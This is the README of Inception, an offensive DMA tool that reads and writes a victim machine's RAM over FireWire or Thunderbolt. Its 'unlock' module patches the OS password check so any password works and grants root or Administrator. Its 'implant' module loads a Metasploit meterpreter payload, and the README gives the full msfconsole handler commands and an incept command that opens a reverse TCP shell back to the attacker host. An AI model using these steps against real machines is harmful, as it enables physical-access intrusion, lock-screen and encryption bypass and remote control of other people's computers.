Inception is a physical memory manipulation and hacking tool exploiting PCI-based DMA. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC Card and any other PCI/PCIe HW interfaces.
Inception aims to provide a relatively quick, stable and easy way of performing intrusive and non-intrusive memory hacks against live computers using DMA.
How it works
Inception’s modules work as follows: By presenting a Serial Bus Protocol 2 (SBP-2) unit directory to the victim machine over a IEEE1394 FireWire interface, the victim operating system thinks that a SBP-2 device has connected to the FireWire port. Since SBP-2 devices utilize Direct Memory Access (DMA) for fast, large bulk data transfers (e.g., FireWire hard drives and digital camcorders), the victim lowers its shields and enables DMA for the device. The tool now has full read/write access to the lower 4GB of RAM on the victim.
Once DMA is granted, the tool proceeds to search through available memory pages for signatures at certain offsets in the operating system’s code. Once found, the tool manipulates this code. For instance, in the unlock module, the tool short circuits the operating system’s password authentication module that is triggered if an incorrect password is entered.
After running that module you should be able to log into the victim machine using any password.
An analogy for this operation is planting an idea into the memory of the machine; the idea that every password is correct. In other words, the equivalent of a memory inception.
Inception is free as in beer and a side project of mine.
Awesome! But why?
The world's forensics experts, governments and three-letter acronym agencies are using similar tools already. So if you are a dissident or facing an opressive regime, this tool illustrates why OPSEC is important. Never leave your laptop out of sight.
OS X > 10.7.2 and Windows > 8.1 disables FireWire DMA when the user has locked the OS and thus prevents inception. The tool will still work while a user is logged on. However, this is a less probable attack scenario IRL.
In addition, OS X Mavericks > 10.8.2 on Ivy Bridge (>= 2012 Macs) have
enabled VT-D, effectively blocking DMA requests and thwarting all inception
modules even when the user is logged in. Look for
vtd fault entries in
Even though these two caveats gradually will reduce the number of scenarios where this tool is useful, as of March 2015 70 % of machines out there are still vulnerable.

- Attacker machine: Linux or Mac OS X (host / attacker machine) with a FireWire interface, either through a native FireWire port, an ExpressCard/PCMCIA expansion port or a Thunderbolt to FireWire adapter.
- Victim machine: A FireWire or Thunderbolt interface, or an ExpressCard/PCMCIA expansion port
Linux is currently recommended on the attacker side due to buggy firewire interfaces on OS X. Note that direct ThunderBolt to ThunderBolt does not work, you need a FireWire adapter. Your mileage may vary when attempting to use Thunderbolt on Linux.
- Python 3
- gcc (incl. g++)
- pip (for automatic resolution of dependencies)
On Debian-based distributions the installation commands can be summarized
sudo as needed if you're not root):
apt-get install git cmake g++ python3 python3-pip
On OS X, you can install the tool requirements with homebrew:
brew install git cmake python3
After installing the requirements, download and install libforensic1394:
wget https://freddie.witherden.org/tools/libforensic1394/releases/libforensic1394-0.2.tar.gz -O - | tar xz cd libforensic1394-0.2 cmake CMakeLists.txt make install cd python python3 setup.py install
Download and install Inception
git clone git://github.com/carmaa/inception.git cd inception ./setup.py install
The setup script should be able to install dependencies if you have
- Connect the attacker machine (host) and the victim (target) with a FireWire cable
- Run Inception
incept [module name]
For a more complete and up-to-date description, please run:
or see the tool home page.
As of version 0.4.0, Inception has been modularized. The current modules, and their functionality is described below.
For detailed options on usage, run:
incept [module name] -h
unlock module can unlock (any password accepted) and escalate privileges
to Administrator/root on almost* any powered on machine you have physical
access to. The module is primarily attended to do its magic against
computers that utilize full disk encryption such as BitLocker, FileVault,
TrueCrypt or Pointsec. There are plenty of other (and better) ways to hack a
machine that doesn't pack encryption.
The unlock module is stable on machines that has 4 GiB of main memory or less. If your the target has more then that, you need to be lucky in order to find the signatures mapped to a physical memory page frame that the tool can reach.
As of this version, it is able to unlock the following x86 and x64 operating systems:
|OS||Version||Unlock lock screen||Escalate privileges|
|Windows 8||8.1||Yes (1)||Yes (1)|
|Mac OS X||Mavericks||Yes (1)||Yes (1)|
|Mac OS X||Mountain Lion||Yes (1)||Yes (1)|
|Mac OS X||Lion||Yes (1)||Yes (1)|
|Mac OS X||Snow Leopard||Yes||Yes|
|Mac OS X||Leopard|
(1): See caveats above.
Other Linux distributions that use PAM-based authentication may also work using the Ubuntu signatures.
The module also effectively enables escalation of privileges, for instance via
sudo -s commands, respectively.
To unlock, simply type:

implant module implants a (memory-only) Metasploit payload
directly to the volatile memory of the target machine. It integrates with MSF
msfrpcd daemon that is included in all versions of Metasploit.
The current version only work as a proof-of-concept against Windows 7 SP1 x86. No other OSes, versions or architectures are supported, nor is there any guarantee that they will be supported in the future.
To use it, start
msfrpcd -P [password]
Then launch inception in another terminal:
incept implant --msfpw [password] --msfopts [options]
As an example, to create a reverse TCP meterpreter shell from the target
machine to your attacking host, first start the
msfrpcd dameon, and then
launch a console listening for callbacks.
msfrpcd -P password msfconsole
In the console, we configure the receiving end of the payload. We're setting
EXITFUNC option to
thread to ensure that the target process stays alive
if something should go awry:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 172.16.1.1 set EXITFUNC thread set ExitOnSession false exploit -j
Then, in another terminal, we launch Inception:
incept implant --msfpw password --msfopts LHOST=172.16.1.1 _| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _| _| _|_| _| _| _| _| _| _| _| _| _| _|_| _| _| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _| _| _| _|_| _| _| _| _| _| _| _| _| _|_| _| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _| v.0.4.0 (C) Carsten Maartmann-Moe 2014 Download: http://breaknenter.org/projects/inception | Twitter: @breaknenter [?] Will potentially write to file.

Do no evil with this tool. Also, I am a pentester, not a developer. So if you see weird code that bugs your pythonesque purity senses, drop me a note on how I can improve it. Or even better, fork my code, change it and issue a pull request.
